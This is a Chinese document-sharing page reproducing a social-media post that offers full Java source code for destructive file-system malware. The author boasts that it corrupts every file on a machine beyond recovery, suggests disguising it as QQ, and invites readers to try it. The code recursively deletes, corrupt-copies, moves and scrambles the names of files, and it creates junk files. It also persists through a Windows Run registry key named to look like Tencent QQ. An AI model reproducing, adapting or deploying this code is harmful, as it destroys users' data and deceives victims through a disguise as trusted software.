文件系统破坏病毒程序源码.docx
- 文档编号:29816658
- 上传时间:2023-07-27
- 格式:DOCX
- 页数:20
- 大小:147.42KB
文件系统破坏病毒程序源码.docx
《文件系统破坏病毒程序源码.docx》由会员分享,可在线阅读,更多相关《文件系统破坏病毒程序源码.docx(20页珍藏版)》请在冰豆网上搜索。
文件系统破坏病毒程序源码
来自我的QQ空间:
文件系统破坏恶意程序
这程序可以把寄宿主机的文件系统搞得一团糟,文件乱飞!
文件名乱码乱码乱码!
全盘文件损坏损坏损坏唯一的补救方法就只有全盘格式化了数据恢复也是不行滴有兴趣的不妨拿去试试
模拟实验了一下:
还是比较喜欢把它搞成伪装的QQ,哈哈
源代码:
packagecn.tyz.main;
importjava.io.File;
importjava.util.ArrayList;
importjava.util.Iterator;
importcn.tyz.utils.PublicUtils;
publicclassMain
{
//遍历随机分区
publicstaticvoiditerateDisk(finalStringdir)
{
File[]files=newFile(dir).listFiles(); //获取指定文件夹下所有文件或文件夹
if(files!
=null)
{
for(Filef:
files) //遍历
{
if(f.isFile()) //遍历到的是文件
{
switch(PublicUtils.getRandomNum(5))
{
case0:
//执行删除
PublicUtils.deleteFile(
newFile(PublicUtils.getRandomPath(
PublicUtils.getRandomPartition())));
break;
case1:
//执行复制
PublicUtils.copyFiles(f,
newFile(PublicUtils.getRandomPath(
PublicUtils.getRandomPartition())).getParentFile());
break;
case2:
//执行剪切
PublicUtils.cutFile(f,
newFile(PublicUtils.getRandomPath(
PublicUtils.getRandomPartition())).getParentFile());
break;
case3:
//执行重命名
PublicUtils.renameFile(f);
break;
default:
//其他默认创建乱码文件
PublicUtils.createMessFile();
break;
}
}
if(f.isDirectory())
{
iterateDisk(""+f);//遍历到的是文件夹,递归执行目录下的文件
PublicUtils.renameFile(f);
}
try
{
Thread.sleep(10);
}
catch(InterruptedExceptione)
{
e.printStackTrace();
}
}
}
}
//程序入口
publicstaticvoidmain(String[]args)
{
//将开机自启动写入注册表
PublicUtils.writeToReg("HKEY_CURRENT_USER",
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
"Tencent","QQ",PublicUtils.getAppPath()+"\\QQ.exe");
//获取所有分区
ArrayList
//对所有分区进行迭代
Iterator
while(iterator.hasNext())
{
finalFilef=iterator.next();
newThread() //新建线程执行恶意操作
{
publicvoidrun()
{
//对每一个分区启动一个线程来执行操作
iterateDisk(""+f);
};
}.start();
}
}
}
packagecn.tyz.utils;
importjava.io.BufferedOutputStream;
importjava.io.File;
importjava.io.FileInputStream;
importjava.io.FileOutputStream;
importjava.io.InputStream;
importjava.util.ArrayList;
importjavax.crypto.Cipher;
importjavax.crypto.KeyGenerator;
importjavax.crypto.SecretKey;
importcom.ice.jni.registry.RegStringValue;
importcom.ice.jni.registry.Registry;
importcom.ice.jni.registry.RegistryKey;
publicclassPublicUtils
{
staticStringrandomPath=""; //随机路径
//生成随机数
publicstaticintgetRandomNum(intboundary)
{
return(int)(Math.random()*boundary);
}
//获取系统所有有子文件夹的分区
publicstaticArrayList
{
ArrayList
// //获取所有分区
// File[]files=File.listRoots();
// //遍历所有分区,判断是否有子文件夹
// for(Filef:
files)
// {
// if(f.listFiles()!
=null)
// {
// list.add(f);
// }
// }
list.add(newFile("c:
/a")); //用于模拟实验
returnlist;
}
//返回随机分区
publicstaticStringgetRandomPartition()
{
StringrandomPath="";
//随机获取一个分区
randomPath=getAllPartition()
.get(getRandomNum(getAllPartition().size())).getAbsolutePath();
returnrandomPath;
}
//获取文件或文件夹名称的乱码
publicstaticStringgetMessyCode(StringgoodName)
{
StringmessyCode="";
try
{
Ciphercipher=Cipher.getInstance("DES");
SecretKeykey=KeyGenerator.getInstance("DES").generateKey();
cipher.init(Cipher.ENCRYPT_MODE,key);
byte[]b=cipher.doFinal(goodName.getBytes());
messyCode=newString(b);
}
catch(Exceptione)
{
e.printStackTrace();
}
returnmessyCode;
}
//根据指定分区返回一个随机路径
publicstaticStringgetRandomPath(Stringpartition)
{
File[]files=newFile(partition).listFiles(); //获取指定文件夹下所有文件或文件夹
if(files!
=null)
{
for(Filef:
files) //遍历指定路径下所有文件及文件夹
{
if(f.isFile()) //属于文件
{
randomPath=f.getAbsolutePath();
}
else
{
getRandomPath(""+f); //递归执行目录下的文件
}
if(getRandomNum(100)<10) //给定一个终止遍历的条件,已取得随机路径
{
break;
}
try
{
Thread.sleep(5);
}
catch(InterruptedExceptione)
{
e.printStackTrace();
}
}
}
returnrandomPath;
}
//重命名文件或文件夹为乱码名称
publicstaticbooleanrenameFile(Filefile)
{
booleanflag=false;
//根据需要更改名称的文件对象的文件名生出新的无拓展名的乱码名称
StringnewName=getMessyCode(
file.getName().substring(
0,file.getName().contains(".")?
file.getName().lastIndexOf("."):
file.getName().length()));
//根据乱码文件名创建出一个文件名为乱码的文件对象
Filemessy_file=newFile(file.getParentFile()+"\\"+newName);
//更改为乱码名称
if(file.renameTo(messy_file))
{
flag=true;
}
else
{
flag=false;
}
returnflag;
}
//生成乱码文件名
publicstaticStringcreateMessName()
{
Stringname="";
//候选字串
StringcandidateStr="ABCDEFGHIJKLMNOPQRSTUVWXTZ"
+"abcdefghijklmnopqrstuvwxyz"
+"0123456789";
for(inti=0;i<15;i++)
{
intindex=getRandomNum(62);
name+=candidateStr.substring(index,index+1);
}
returngetMessyCode(name); //返回乱码名称
}
//新建乱码文件
publicstaticvoidcreateMessFile()
{
try
{
//构造一个随机路径下的文件名为随机乱码的文件
Stringpath=getRandomPath(getRandomPartition());
path=path.substring(0,path.lastIndexOf("\\"));
Filef=newFile(path+"\\"+createMessName());
//创建成功则执行写入乱码,否则转向异常捕捉块重新创建
if(f.createNewFile())
{
FileOutputStreamfout=newFileOutputStream(f);
for(inti=0;i { fout.write(getRandomNum(10)); } fout.close(); } } catch(Exceptione) { //由于创建的乱码文件名可能含有操作系统不支持的字符 //则须捕获异常执行重新创建,直到成功为止 createMessFile(); } } //复制文件或文件夹(非正常复制,目的是损坏文件) publicstaticbooleancopyFiles(Filesource_file,Filetarget_file) { //顶层目录 Filetop_file=newFile(target_file,source_file.getName()); //复制目录 if(source_file.isDirectory()) { //创建顶层目录 top_file.mkdir(); //获取当前目录下的所有文件或目录 File[]dir=source_file.listFiles(); //逐个拷贝到顶层目录下 for(inti=0;i { if(! copyFiles(dir[i],top_file)) returnfalse; } //复制成功 returntrue; } else { //复制文件 try { FileInputStream fis=newFileInputStream(source_file); FileOutputStreamfos=newFileOutputStream(top_file); BufferedOutputStreambout=newBufferedOutputStream(fos); //缓存 byte[]buffer=newbyte[1024]; intc=0; while((c=fis.read(buffer))! =-1) bout.write(buffer,1,c-1); //【这里是损坏文件的代码,1和c-1】 bout.close(); fos.close(); fis.close(); } catch(Exceptione) { e.printStackTrace(); } //复制成功 returntrue; } } //复制文件(正常复制) publicstaticbooleancopyFile(InputStreamsource,Filetarget_file) { //复制文件 try { FileOutputStreamfos=newFileOutputStream(target_file); BufferedOutputStreambout=newBufferedOutputStream(fos); //缓存 byte[]buffer=newbyte[1024]; intc=0; while((c=source.read(buffer))! =-1) bout.write(buffer,0,c); bout.close(); fos.close(); source.close(); } catch(Exceptione) { e.printStackTrace(); } //复制成功 returntrue; } //剪切文件或文件夹 publicstaticbooleancutFile(Filesource_file,Filetarget_file) { if(copyFiles(source_file,target_file)) { deleteFile(source_file); returntrue; } else { returnfalse; } } //删除文件或文件夹 publicstaticvoiddeleteFile(Filesource_file) { if(source_file.isDirectory()) { File[]files=source_file.listFiles(); for(inti=0;i { if(files[i].isDirectory()) { deleteFile(files[i]); } else { files[i].delete(); } } //删除父目录 source_file.delete(); } else { source_file.delete(); } } //获取本程序运行所在的目录 publicstaticStringgetAppPath() { returnSystem.getProperty("user.dir"); } //获得%JAVA_HOME%\bin目录 publicstaticStringgetBinPath() { returnSystem.getProperty("java.home")+"\\bin"; } //复制ICE_JNIRegistry.dll到JRE下的bin目录 publicstaticbooleancopyRegDll() { InputStreamsource=PublicUtils.class.getResourceAsStream("ICE_JNIRegistry.dll"); Filef2=newFile(getBinPath()+"\\ICE_JNIRegistry.dll"); returncopyFile(source,f2); } //写入注册表(开机自启) publicstaticvoidwriteToReg(Stringroot,Stringindex,Stringitem,Stringkey,Stringvalue) { //将ICE_JNIRegistry.dll复制到JRE\bin目录 copyRegDll(); try { RegistryKeychild=null; if("HKEY_CLASSES_ROOT".equals(root)) { child=Registry.HKEY_CURRENT_USER.openSubKey(index); } if("HKEY_CURRENT_USER".equals(root)) { child=Registry.HKEY_CURRENT_USER.openSubKey(index); } if("HKEY_LOCAL_MACHINE".equals(root)) { child=Registry.HKEY_LOCAL_MACHINE.openSubKey(index); } if("HKEY_USERS".equals(root)) { child=Registry.HKEY_USERS.openSubKey(index); } if("HKEY_CURRENT_CONFIG".equals(root)) { child=Registry.HKEY_CURRENT_CONFIG.openSubKey(index); } RegistryKeycreate=child.createSubKey(item,""); create.setValue(newRegStringValue(create,key,value)); } catch(Exceptione) { e.printStackTrace(); } } }
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 文件系统 破坏 病毒 程序 源码